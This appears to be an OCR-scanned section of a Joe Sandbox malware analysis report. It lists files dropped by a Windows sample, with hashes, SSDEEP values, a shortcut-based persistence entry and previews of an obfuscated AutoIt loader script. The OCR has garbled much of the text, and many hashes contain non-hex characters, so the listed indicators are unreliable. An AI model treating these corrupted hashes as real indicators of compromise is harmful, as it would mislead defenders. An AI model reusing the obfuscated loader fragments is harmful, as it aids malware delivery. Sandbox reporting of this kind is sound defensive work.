VKWL A= L >0%.2 WL 8L V.9 MC LB - i bs. .5 .0.Q,....d .S D) WL HEC..-. N.PF..N$TOU.R..*.:...@7.WK14.c.|~. xY(...d.."...|@g"HX...* {E..+.....qa.{.1...i.q
u...>.YhjO.|.v....=x....9.d[5.D.D {..r.......}C.@3F-.e+H...D.bT......J..sHuOeV,..~.ho..j..&.",..d.e.%d...Il....4......eu.tD.%Li=..my>.P...S.m..6.1..If8......E..

.CL?<~...N...h.].B;U..rj'd& g....Z[0"."GAA..K2.V..pX..D#.X.0*P.".R..+.

C:\Users\user\AppData\Local\Temp\cab_5036_3

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\makecab.exe

data

dropped

57

3.9862517516001557

false

3:9ZREMSHGHTOENUN:9cMSHGHgnn

478B9568815F608EC7213D351CBD8CDB
89743EC25D75E6EA4290CF5C90C1460A8C833FE9
D611A9CB0O64EE6F5DIACDD2632FAFE2EBSEEODE3DB8551B4AB42ABE3ED4F36C8

A796180D4BA1BECF89A8A85AB3D2BFAB271B1F9D8697A3BF5B8DE141FS5AABCFB75E515FBC7CAD21C6640B57AAB485A3B41AF098448373500DEEASED7DD05C
1E8

false

........... R}V .4624a8e10d6df3306e1dd46223b6b1968208dd49.

C:\Users\luser\AppData\Local\Temp\cab_5036_4

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\makecab.exe

data

dropped

1819

7.896214873025922

false

48:1IvYUJfOQjN/IHrNeHOrRIRfCMHc2QvWGQc:zwf0QjheH8KHC 1Vi
1A5DACBAEB202A00C054E1C9CAC02B3D
9DC1BF7A70ADF481590B07D587F83185CCB6BIF9
D1521BB1E2238F4587055AC303A1FB5377285B5FE607756572B83259DB8F94D5

0F2D3517B42C33EC88FA1DC364E202DB2E22752B5E23E35591A0619EAE8CCID766A5D766ECFEF1799B00AA7ACD12D4448834AAE934800A68AD39702E55AAET
E

false

I CK.X..6....9).-.>. 8. ...,.ugt).;...’W..Y._.G.M.IUN.Q....1..4Z.t.
.CL?<~...IN....h.|.B;U..rj'd& g....Z[0"."GAA..K2.V..pX..D#.X.0*P.".R..+. .
3W.b......... M.|.e.....N..K.}nd..r..........0.f..*chV5.").%IE.U...$S.#Q.rT.0...".....d)J9.b.L.LE./.|_ION'iEA..b."..Pupq. ?-.D..0..}yl..J..5.c.S.S\@{ X........ #r>.. k.i/...Gv.3...
VKWL A= f>0%.2 WL 8L V.90 MC LB - i bs. .;.0.Q,.....d .S D) WL HEC..-.N.PF..N$TOU.R..*.:...@7.WK14.c.|~. xY(...d.."...| @g"HX...* {E..+.....qa.{.1...i.q
u...>.YhjO.|.v....=x....9.d[5.D.D {..r....... }JC.@3F-.e+H...D.bT......J..sHuOeV,..~.ho..j..&.",..d.e.%d...Il....4......eu.tD.%Li=..my>.P...S.m..6.1..If8.....E..

~{'v.}t..P&...Z..Uf.Jon.. &
.\H...=K.PQ..F.R#...(SH.[..Y.5]6b.68.z...5].B:....N....l...)...
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C:\Users\user\AppData\Local\Temp\cab_5036_5

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\makecab.exe

data

dropped

57

3.9862517516001557

false

3:9ZREMSHGHTOENUN:9cMSHGHgnn

478B9568815F608EC7213D351CBD8CDB
89743EC25D75E6EA4290CF5C90C1460A8C833FE9
D611A9CB0O64EE6F5DIACDD2632FAFE2EBSBEEODE3DB8551B4AB42ABE3ED4F36C8

A796180D4BA1BECF89A8A85AB3D2BFAB271B1F9D8697A3BF5B8DE141FS5AABCFB75E515FBC7CAD21C6640B57AAB485A3B41AF098448373500DEEASED7DD05C
1E8

false

........... R}V .4624a8e10d6df3306e1dd46223b6b1968208dd49.

C:\Users\user\AppData\Local\Temp\cab_5036_6

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\makecab.exe

data

dropped

8

0.8112781244591328

false

3:P:P

7B5B6C7BF41E6055ABD4E74476E08575
5C05D3A68F69258D236F6D9677CCOA42E399E7CC
2392619F397925A165CF31634781D68B006C396611C425F6C67F338356E47F8F

36EF55C7BOBEAA825AB7B3A509BDD6154BE0039BF5ADD56232ECDA2237C277FAFED64235F809CCALDC2370DA4664D8C2013A9F3EA8FB6972238EFOB10A679C
E6

false

C:\Users\user\AppData\Local\Temp\chr1073.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\wbem\WMIC.exe

Little-endian UTF-16 Unicode text, with CRLF, CR line terminators

dropped

6962

2.4957564851494354

false
24:QXs0kWA9INPjgFcyFchmPLPmMEfS6U6UOOOOWOOO000000000P8sO000000000000L:KIXQEX9h8qAz/q4hfSYZnCIU
FID527CEF22C29BCAC626EAFF4201DAB

D2925316040A2382BF760C3D2EE324DB17C67CCC
9024A75A428327B4A85E4BF616C2B968ABECAO0CFC677F1A90C5C367AC5C50F8
36646450F7E68DE7FE327F368965B7C8E913565526F7D9B69EACCILF6ECC2A95A4CCD28BDEB18C57787390C95A29D74A4952CB539A2980FAC76A085EEBIALEF

false

CName. o Sy.s.tem. .ldle Process...........8ystem .......... ... .. Registry. ...
LSMLS.SLBXB. L, C.S.M.S.S @ XB. ittt wininit.exe ... oL C.S.MS.S@XB. ittt
.s.ervices..exe ..................winlog.o.n.exe ..................lsass.exe.....................fontdrvhost.exe. ..............
fontdrvhost.exe ..............sv.chost.exe ..................8vchost.exe ..................svchost.exe ..................

.s.w.chost.exe ........

C:\Users\user\AppData\Local\Temp\chr2302.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

C:\Windows\SysWOW64\makecab.exe

data

modified

1924

7.865672899473467

false

48:xFiYUJfOQjN/IJHrNeHOrRIRfCMHc2QvVGQH:xFIwfOQjheH8kHc1V5
93E86307587E6C2A2C3F25DB6C3A8C34
157561344ABA59BCED8BC4329918951FECE872D2
2DCF0197EFE740AB55785AC8ADE300796B2ED5CFFBDOBOC764AC7DEES17D2912
E03D49E472FC224A151961E8850214FB6B94F5A05024E3198E0DE7127C3E6DF1903B46331BBE2ADC126257B09A71B5151FEEAF479099BC07559E400B7F765861

false
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C:\Users\luser\AppData\Local\Temp\chr2302.tmp

Preview:

ICAB............ e oo, R}V .4624a8e10d6df3306e1dd46223b6b1968208dd49.L.......CK.X..6....9).-..>.. .$.Lf. ...,.uqt)...."W...Y. .G.M.IU\..Q....I..4Z.t.....
W.Q.oooee... uvww..m..5....n._...£.22.;. i Z{eo~{ Vo bt P& Z U SO0 & CL?2<~..N....h.|.B;U..r.jd& g....Z[0"."GAA..K2.V..pX..D#.X.0*P."R..+.....
M 0.g8K....25M..7D.a.R K.PQ..F.R#...(SH.[..Y.5]60.68.2...5/.B:....N. 0.f..*chV5.").%IE.U...$S #Q.IT.
0.......d)J9.b.L.E.LI_IONIEA.b."..PUpq..~....7-.D...0..}y].. |."..5.C.S..S\N@{ X....... #r.>.... K.i/ . _W.........3.V.9..MC.B...-.wi[.bs...;.0.Q,..
.d...S....i).. W...HEC..- N.PF..N$TOU.R..*.....@2.WK14.C.|~.XY(..d.."..|@g"HX...* {E..+..._qa.{1...i.qu...>.Yh jO.|.v...=X....9.d[5.D.D.{.I.......}C.@3F-.e+H...D.bT..

C:\Users\user\AppData\Local\Temp\chrB32.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\nslookup.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

475136

6.849448907791375

false

12288:6tMaF5RxR/hezNwSiKeryu2fBpe+R7q5ImIG:8Imfipyu22WcmIG
BBB6A426B60C6A2F63EF024B760E841A
BE39F0CFF6250813D9E7A2E8704C4CA2857D76B8
ED609C4EBA6C25D93CDBF722385BC3548F3D6DCCAAFF6A0FA41FFO0A7ADC4769

BC9BF96B3B908AC5284CFEE7755728E631EBE61AC5CEG37FC392F1916D345A1677E6CBOFB7139905553FDFAE33C05B8A351C6B6CFDBIBF6334AEDEE78C93BE
AE

false

SQLite format 3.

C:\Users\user\AppData\Local\Temp\chrCF8.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\cmd.exe

ASCII text, with CRLF line terminators

dropped

44

4.436260027531528

false

3:73KRjyM1KW280Lal:73ujla80el

B29BF38565243D324A1E41E6046BB066
E7D4C557CB8FB5B00C94CA7FSE3ADD6060F087FA
4B6F66EFB4919A346C9BDB937423F2D808CIEDBS6ADE794D8FA4AIBA5D7FEFF2

82B067B479BC4C5AC440027D325DBBIESDC59CF3EA417D07782D09EE7C9AAL1600656652A1B4C5FICFBD65575C6E66884EEE73A1675AC50215DD86360F7F0B1,
4

false

..Microsoft Windows [Version 10.0.17134.1]..

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com

MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Roaming\zPgFqFUsML\WAYZqHgYEOdcYU.js>), Little-endian UTF-16 Unicode text, with CRLF line
terminators

dropped

178

3.632033496124056

false

3:Q+2IRQuRKiglZI014tGjLIAdVdhOE]jI3QIMIoICI7nel IWGjXFQLIPK:Q+213glZyKhXUEZglIPZ6cGjX+w

53B7CB2641E4A572F1355EA8002117E9

7195D9973A7E8F1573207DF7C241132DDE6672DC

7E09B82661650D0A9BA4BEOAE17D48969486F0468B28E587560547FC82BCB3E9
1B57BAF767B330C3BBC6DF4A51B3BA670F4B115B76216C32DD8A10B3792FB10E653FC55766CEF21C5DDF5738EB3972513351D1C1CB96516BC825E09913B089C

true

.[lLntern.etShortcut].. . URL="C.:\Users\eng.ine.er\AppData\R.o.am.ing\zP.gF.qFUsML\wAY.ZqgH.g.Y.EO.d.c.Y.U.js."

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Che.vsd

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Users\user\Desktop\WDnE51mua6.exe
data

dropped

943908

6.625720682723327

false

Copyright Joe Security LLC 2021 Page 18 of 54



C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Che.vsd

SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

24576:/Js7DIG83U/hcSO3UTyYPeuZtxY+8aiB8ea:/C7ThGOSPT/PxebaiO

A7DDD4D4067D7E404D579AE32DC91542

4203587509050293E0D1C8F833545230BB3355B0

548E87E6B13CDDA866CCCOA125B4EEAB7879C2AEOFCAC20073AC953D2F682729
1801871BFECOC7BEB62B37B4BDAEE8733B9204594E4481647EFC476B819C8BEO6FD1F2E88D99F8C62CA9C86BFI1F2270C5C01E0950C160364F3F78171208B1F¢

false

nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGMITQMSIGKUUtRoHQKZmHLQyLLuVpnCdInRQPNW{BIsgQkprGKGWkWrUJtiyFXmiJDkGgaSrgkXZxBgAB
;..h..h..h4;mh..h4;0h..h4;nh...h.[h..h.i.hoichoichechech,

C:\Users\luser\AppData\Roaming\QhXpJEISYfDvrPPKg\D

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\cmd.exe

ASCII text, with very long lines, with CRLF, CR, LF line terminators

dropped

981247

5.794859181755685

false
12288:jHbCI8BQ1QtM8TIrI62GM86zVIrwDbUOCMu/J1HDQned:j38BQ1KmM80rJXIcDbUOCMu/5
870E342CA1600B86242061A18E7819E8
D2515EA2681B02C6A4B1C87BCC2C7594FC836EF3
4F86DBE6A04B7483CE39E3C48BFO5F19D9C3E285AC8C47E10DFAD958942AE788
3C497CDF3A7DBB622C7CE172A394D3F5FC2A86E67D8A36A84E30370357A6229F91570E87A585B32CB07328952E3438F5CD427B600E2A16A041859AE02DBB78A¢

false

$DXAUPUObCVXGA = WFzUIdrKAarEmh("129$113$97$77$120$97$96$118$86$123$119$121$128$84$128$89",7)..#NoTraylcon....Func zpoFKPJyvwDgkfo($akJfF,$A
RNgA,$QVUW,$icjrS)..Local $ACIkghUNgPGcrpWIOWA0ZGyJrVoNnfaBtlJLfFnwFaPyhBhXmDgVGwXT = ‘AoztigLvtsxmlaobmDGQZcCHkhUqvUrKQgPbyWnrrip
pSbgkuninsevtFLTTxLgpgKJVDLaDyCMdjaPNZJUYNEaNSKRzrEJalZVoNzIxyEzPfyShWwyUKQwvJIsWrTTYmASxIhvHgGwmSpkDbMREbXJY CHDjQQfPAutSW
VbFQfygJsojpNmdwfBCRTRq'..Local $IQpdkYLyzHBgjOiRcgIndPesYNkFBwervVGnWXbavi = WFzUIdrKAarEmh("118$113$81$120$71$100$72$101$86$103%
108$77$89$101$85$86$122$115$80$90$125$90$92$78%$110$85",3)..Local $bvUCKKtGZFdDKBmpnzKOYNPApISnxmeVMNiwX = 'WYRRRJLGWxUNAsBeGJHzaDS
FkmDxQXxnjJvLXiWCPCHbEHZLxKubzDczujFsJdPrqcBQUPYMNYEQVcwWEARqUQWYyYIgrELBETnMDvouoREFHKgZFbLIWRR{IhrdSCQIxXokuraYShsqvApjQl
IGTAANwordzShGgzlJBeTCyNsDmRTotRmITIsThxIXZeFqlLZedmLNPuAupXglfUkBarMQesjuSVCrodzNRQSEyMxNJIkKAuglyQrluZpqYjEVTEDb'...$UKEVSZ = 122.
.$DIOJIVMLvhgX = 60..While ((9888-9887)*9427)..Switch $UKEVSZ..Case 119....$vecSUxObrDgglvL = Execut

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\findstr.exe

Targa image data - Mono 65536 x 184 x 0 +65535 ™"

modified

943782

6.625457835020965

false

24576:13s7DIG83U/hcSO3UTyYPeuZtxY+8aiB8ea:IC7ThGOSPT/PxebaiO
DAB8F26DB6E8D76655D96B463513CE6A
EA9C3631F94233C06750776CD9BD18E27FBD8677
549D70CF61A50E8970E274BF7E76FACI9FAB1E185189A8AD074E2A5BDEA39005B
E406093EB802A5EDBDCOE5F0A849D7F58F10DDED413DBIB6E0A4788125BA73C5B90F5D42A5D98AC68BA2E1FC01879C1403F32CFB3D8ESC26231C58E9751C2(

@ e I..L.IThis program cannot be run in DOS mode....$.......... ;..h..h..h4;mh..h4;oh..h4;nh..h.[h. .h.i. . h.i. h.i. h.h.h.h.

PE.LLALLLL @... @..Q@....... @....
text...%. N @..@.data...|p....... H...

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Lineamento.vsd

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\WDnE51mua6.exe

ASCII text, with very long lines, with CRLF, CR, LF line terminators

dropped

981247

5.794859181755685

false
12288:jHbCI8BQ1QtM8TIrI62GM86zVIrwDbUOCMu/J1HDQned:j38BQ1KmM80rJXIcDbUOCMu/5
870E342CA1600B86242061A18E7819E8
D2515EA2681B02C6A4B1C87BCC2C7594FC836EF3
4F86DBE6A04B7483CE39E3C48BFO5F19D9C3E285AC8C47E10DFAD958942AE788
3C497CDF3A7DBB622C7CE172A394D3F5FC2A86E67D8A36A84E30370357A6229F91570E87A585B32CB07328952E3438F5CD427B600E2A16A041859AE02DBB78A¢

false
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C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Lineamento.vsd

Preview:
$DXAUPUObCVXGA = WFzUIdrKAarEmh("129$113$97$77$120$97$96$118$86$123$119$121$128$84$128%$89",7)..#NoTraylcon....Func zpoFKPJyvwDgkfo($akJfF,$A
RNgA,$QVUW,$icjrS)..Local $ACIkghUNgPGcrpWIOWA0ZGyJrVoNnfaBtlILfFnwFaPyhBhXmDgVGwXT = ‘AoztigLvtsxmlaobmDGQZcCHkhUqvUrKQgPbyWnrrip
pSbgkuninsevtFLTTxLgpgKJVDLaDyCMdjaPNZJUYNEaNSKRzrEJalZVoNzIxyEzPfyShWyUKQwvJIsWrTTYmASxIhvHgGwmSpkDbMREbXJYCHDjQQfPAutSW
VbFQfygJsojpNmdwfBCRTRq'..Local $IQpdkYLyzHBgjOiRcgIndPesYNkFBwervVGnWXbavi = WFzUIdrKAarEmh("118$113$81$120$71$100$72$101$86$103%
108$77$89$101$85$86$122$115$80$90$125$90$92$78%$110$85",3)..Local $bvUCKKtGZFdDKBmpnzKOYNPApISnxmeVMNiwX = 'WYRRRJLGWxUNAsBeGJHzaDS
FkmDxQXxnjIvLXiWCPCHbEHZLxKubzDczujFsJdPrqcBQUPYMNYEQVcwWEARqUQWYyYIgrELBETnMDvouoREFHKgZFbLIWRRfIhrdSCQIxXokuraYShsqvApjQl
IGTAANwordzShGgzlJBeTCyNsDmRTotRmITIsThxIXZeFqlLZedmLNPuAupXglfUkBarMQesjuSVCrodzNRQSEyMxNJIkKAuglyQrluZpqYjEVTED'...$UKEVSZ = 122.
.$DIOJIVMLvhgX = 60..While ((9888-9887)*9427)..Switch $UKEVSZ..Case 119....$vecSUxObrDgglvL = Execut

C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Poi.vsd

Process: C:\Users\user\Desktop\WDnE51mua6.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 119603

Entropy (8bit): 5.771907667395008

Encrypted: false

SSDEEP: 3072:DXE3yUMc+GICKE3zGnF8potFOFDgXZ4S0qc2Tl:jBciCKEKKpSOFOpoqc2TI

MDS5: F96668D6E644D2D131C7C1BOE3465733

SHA1L: AF552D39A5ABD94E61CBC5CB18B0A35A9039573A

SHA-256: EFFD096DF32E053A1926A58330D7AF2A369AD630BOECC69C162473140773D67E

SHA-512: 61C2161EAFCDB928EF1652712333B087E1D2C2C154B619E24BESACED6F5E12B3D9E6D11E7774D3DE23FE2BDD231D1193157DCAC30C392843198EFCE4106982
4

Malicious: false

Preview:

gsbekfEpcPdLXwEGOzyfkLWYOpNQeLgmykCGtyKIKIWHAY oxwfppjYdCcmgeCOiJBQ=0nXBJIVFwWPgHPgzONBthiUgIFRIHVrjyAzZVrOAAdafNuRnwpgxovDnhnNWRqggJ
XCouvwbKYgEWOFjrNaGbVJtIXUMvdSJImelalXLegMfciSGKIkJomxQOgnmpBfgxustTyheuedGLGgWQdIrkHJlykU..LnBALLUgQOMFcpDupNyoqCISskPNbiYllpdHAPV
ZLZyeDFIwtDws=MrpPIpmWiRJPtxkTVFzSybqvGfLCNITuHBnyiSRFcrDovhnkbooYHnqfrMpzbXomXDiDVuLrNNbe TRqzQAyFmVnoBpwxIn..bUtISyVfdvylITwXckLQD
WSCZetZwMtsxfFZiPHihUkOpxKFiDOQISU=FayoOuUDjyLVheQGEECILrzFsmRbYglBxxzPJnziqICtIPstNiktdkACYARggvFXbIATIgWukcleBfWCoNKQeDIoTRQpHtS
ErEGngbcMky..VDbwJDguBLOVTZsgRpMnuCtZWIbgKsXFWKfFcQiGaXsSgINmWbEDnGMamntwyqviINpY oJMEweuu=kkLhUYsjNxudYXuXLuAsButyKEPpTCA
aADuhNRuiJpvzelMGGfWFPHtiIFCdoizlUOPcQTIUgalaJLeexrDjjEMKVeyigQZBPjng..OWMvcWhufxcDAVtDuXdwymNNrFpzuCbjOpGiQQRHMEGHJEOUUXIgohNgoZa
PMUZMXpPdfXNdulB=TurmRfnpTorAvsYRbeVFETKAObFWIaoALjcwWTXbcQTOugUXZVSrMWWZcCKzJCZBqCPpVWUEtnpNgWxADHXgmtOOdcGzpENTRsODNLw
ewgZhMoZmopQWEKwVOqTAdBcALdWIoReRGUhkyA..ivukZNMgudSObRBMmTmCvjdssiYcKbPQgYMrldcNYwQafeEqtoN=FXFVuOUSOdDIBeAmy

C:\Users\luser\AppData\Roaming\QhXpJEISYfDvrPPKg\Veduto.vsd E
Process: C:\Users\user\Desktop\WDnE51mua6.exe
File Type: data
Category: dropped
Size (bytes): 339968
Entropy (8bit):  7.999506483828205
Encrypted: true
SSDEEP: 6144:9Y1gdVDxnSxQBbHNCXQGRW5XYyM+8Rfc34BuH7FKaKW53vya5XU1:9NvDxnSlgQsmYyN/oBm7FKtw3M1
MD5: B4B043FBDA464D018EFO1CEA7CEE7303
SHA1L: 2B21F85669E9EE021A0805A1D802760993F86957
SHA-256: 63BC2CA795DA615CDFE6AODCD3D65944632FE0013D452CAFC3016165A762BF2A
SHA-512: BF6AF2FA5A1FD5D22C5F142C86FB167D9C849F3A294464375920EEA19CB1DD5068628C846B63B364E00BC1504EDDEF32FB6BBE1C1BEF7131248F8E291223A2¢
E
Malicious: false
Preview:
<.8.~.j...Q..-.._;n{.c..00..P.8=[[p.....G.~.A".2m....2uJ....3.gs. ..."..a....U~(W. .....p.H...D4_h~m$@p=.i.=..F..gh..=*..........X.S2:p..L1S. x....3......"...sSWZLT.Qr."P4.
....... 0...B.s.. Mewoioeennd2.$..%{....9..0.:(....)0.Su=hn....i.x.....)..0.AWC..MAP.bIQ.{:... Xv3...C...[Q..0.....H2....1;;a.8m..J......"...lw. U.ooeo(.2..@...Al.....E. N
CALH.....Z.4..m~.Ac".....3._Y_ IV.e.._.h..P.\ 3

...... 9..e..’..6.B..g.eS|x..<..KB.a#.....
c..%...S.q.F...y...(0..."&...S.M..X..]..f.

yl...F..... k.xan.....S.Y(v

C:\Users\user\AppData\Roaming\zPgFqFUsML\I

Process: C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com

File Type: ASCII text, with very long lines, with CRLF, CR, LF line terminators

Category: dropped

Size (bytes): 981247

Entropy (8bit): 5.794859181755685

Encrypted: false

SSDEEP: 12288:jHbCI8BQ1QtM8TIrI62GM86zVIrwDbUOCMu/J1HDQned:j38BQ1KmM80rJXIcDbUOCMu/5
MDS5: 870E342CA1600B86242061A18E7819E8

SHA1L: D2515EA2681B02C6A4B1C87BCC2C7594FC836EF3

SHA-256: 4F86DBE6A04B7483CE39E3C48BF05F19D9C3E285AC8CA47EL0DF4D958942AE788
SHA-512: 3C497CDF3A7DBB622C7CE172A394D3F5FC2A86E67D8A36A84E30370357A6229F91570E87A585B32CB07328952E3438F5CD427B600E2A16A041859AE02DBB78A¢
Malicious: false
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C:\Users\user\AppData\Roaming\zPgFqFUsML\I

Preview:
$DXAUPUuobCVXGA = WFzUIdrKAarEmh("129$113$97$77$120$97$96$118%$86$123$119$121$128$84$128%$89",7). #NoTraylcon....Func zpoFKPJyvwDgkfo($akJfF,$A
RNgA,$QVUW,$icjrS)..Local $ACIkghUNgPGcerpWIOWA0ZGyJrVoNnfaBtlJLfFnwFaPyhBhXmDgVGwXT = 'AoztigLvtsxmlaobmDGQZcCHkhUqvUrKQgPbyWnrrlp
pSbgkuninsevtFLTTxLgpgKJVDLaDyCMdjaPNZJUYNEaNSKRzrEJalZVoNzIxyEzPfyShwyUKQwvIsWrTTYmASxIhvHqgGwmSpkDbMREbXJY CHDjQQfPAutSW
VbFQfygJsojpNmdwfBCRTR('..Local $IQpdkYLyzHBgjOiRcgIndPesYNkFBwervVGnWXbavi = WFzUIdrKAarEmh("118$113$81$120$71$100$72$101$86$103%
108$77$89$101$85$86$122$115$80$90$125$90$92$78%$110$85",3)..Local $bvUCKKtGZFdDKBmpnzKOYNPApISnxmeVMNiwX = 'WYRRRJLGWxUNAsBeGJHzaDS
FkmDxQXxnjIvLXiWCPCHbEHZLxKubzDczujFsJdPrqcBQUPYMNYEQVcwEARquQWYIgrELBETnMDvouoREFHKgZFbLIWRRfIhrdSCQIxXokuraYSbsqvApjQI
IGTAANwordzShGqzlJBeTCyNsDmRTotRmITIsThxIXZeFqglLZedmLNPuAupXglfUkBarMQesjuSVCrodzNRQSEYyMxNJIKKAuqglyQrluZpqYjEVTED'...$UKEVSZ = 122.
$DIOJIVMLvhgX = 60..While ((9888-9887)*9427)..Switch $UKEVSZ..Case 119....$vecSUxObrDgqlvL = Execut

Process: C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com

File Type: data

Category: dropped

Size (bytes): 339968

Entropy (8bit): 7.999506483828205

Encrypted: true

SSDEEP: 6144:9Y1gdVDxnSxQBbHNCXQGRWS5XYyM+8Rfc34BuH7FKaKW53vya5XU1:9NvDxnSIqQsmYyN/oBm7FKtw3M1

MD5: B4B043FBDA464D018EF01CEA7CEE7303

SHAL: 2B21F85669E9EE021A0805A1D802760993F86957

SHA-256: 63BC2CA795DA615CDFE6AODCD3D65944632FE0013D452CAFC3016165A762BF2A

SHA-512: BF6AF2FA5A1FD5D22C5F142C86FB167D9C849F3A294464375920EEA19CB1DD5068628C846B63B364E00BC1504EDDEF32FB6BBE1IC1BEF7131248F8E291223A2¢
E

Malicious: false

Preview:

U~ (WLALLp.H....D4_h~m$@p=.i
. ..)..0.AWC..MAP.bIQ.{:....Xv3...C...[Q..0
Jown ALH.....Z4 . m~ AcM....3._Y_...0.. . %W[.AL...ek.[4.."5m6.1l.|.$.m. y.prT. . f.T...S.
.....9..:e...6.B..g.eS|x..<..KB.a#' ..8J..r~5s.
c..%..S.q.F...y...(0...' &..S.M..X..]... R H.>V .%q

Process: C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 943784

Entropy (8bit): 6.625461630496363

Encrypted: false

SSDEEP: 24576:FJs7DIG83U/hcSO3UTyYPeuZtxY+8aiB8ea:FC7ThGOSPT/PxebaiO

MD5: 78BA0653A340BAC5FF152B21A83626CC

SHAL: B12DA9CB5D024555405040E65AD89D16AE749502

SHA-256: 05D8CF394190F3A707ABFB25FB44D7DA9D5F533D7D2063B23C00CC11253C8BE7

SHA-512: EFB75E4C1E0057FFBA7613FDSAAEBCE3912B1558A4B74DBF5284C942EAC78ECDIACA98F7C1EOE96EC38E8177E58FFDF54F2EB0385E73EEF39E8A2CEG11237¢
17

Malicious: true

Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

Antivirus: ReversingLabs, Detection: 2%

Joe Sandbox
View:

Filename: yPkfbflyoh.exe, Detection: malicious, Browse

Filename: JYDy1ldAHdW.exe, Detection: malicious, Browse
Filename: EppThowa74.exe, Detection: malicious, Browse
Filename: tcNbszVulx.exe, Detection: malicious, Browse

Filename: USHrIfZEJC.exe, Detection: malicious, Browse

Filename: mcRrjT7JMX.exe, Detection: malicious, Browse
Filename: 3MWIYkDesa.exe, Detection: malicious, Browse
Filename: 3MWIYkDesa.exe, Detection: malicious, Browse
Filename: MmuRNUcd2B.exe, Detection: malicious, Browse
Filename: 23j6ZPLfOh.exe, Detection: malicious, Browse

Filename: 23j6ZPLfOh.exe, Detection: malicious, Browse

Filename: tl2uliYxhr.exe, Detection: malicious, Browse

Filename: xARcpdYdew.exe, Detection: malicious, Browse
Filename: vtg3HBN11U.exe, Detection: malicious, Browse
Filename: 01FRraMfKS.exe, Detection: malicious, Browse
Filename: PzmkDJz80S.exe, Detection: malicious, Browse
Filename: dqlpzC7LNO.exe, Detection: malicious, Browse
Filename: atikmdag-patcher 1.4.7.exe, Detection: malicious, Browse
Filename: hfix.exe, Detection: malicious, Browse

Filename: atikmdag-patcher 1.4.8.exe, Detection: malicious, Browse

Preview:

L.IThis program cannot be run in DOS mode....$ ..h...h...h4;mh...h4;0h
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https://www.metadefender.com/#!/results/file/bzIxMDMxNWdSQU1JMlo5N0Z2dW05bzlTSms/regular/analysis
https://view.joesandbox.com/analysis/286873/html/none
https://view.joesandbox.com/analysis/285866/html/none
https://view.joesandbox.com/analysis/285864/html/none
https://view.joesandbox.com/analysis/285837/html/none
https://view.joesandbox.com/analysis/285835/html/none
https://view.joesandbox.com/analysis/281585/html/none
https://view.joesandbox.com/analysis/281164/html/none
https://view.joesandbox.com/analysis/281151/html/none
https://view.joesandbox.com/analysis/281146/html/none
https://view.joesandbox.com/analysis/280045/html/none
https://view.joesandbox.com/analysis/280038/html/none
https://view.joesandbox.com/analysis/278442/html/none
https://view.joesandbox.com/analysis/278387/html/none
https://view.joesandbox.com/analysis/278358/html/none
https://view.joesandbox.com/analysis/276214/html/none
https://view.joesandbox.com/analysis/275497/html/none
https://view.joesandbox.com/analysis/268080/html/none
https://view.joesandbox.com/analysis/256071/html/none
https://view.joesandbox.com/analysis/253677/html/none
https://view.joesandbox.com/analysis/253328/html/none

C:\Users\luser\AppData\Roaming\zPgFqFUsML\WAYZqHgYEOdcYU.js

Process: C:\Users\user\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 284

Entropy (8bit):  4.908017768163253

Encrypted: false

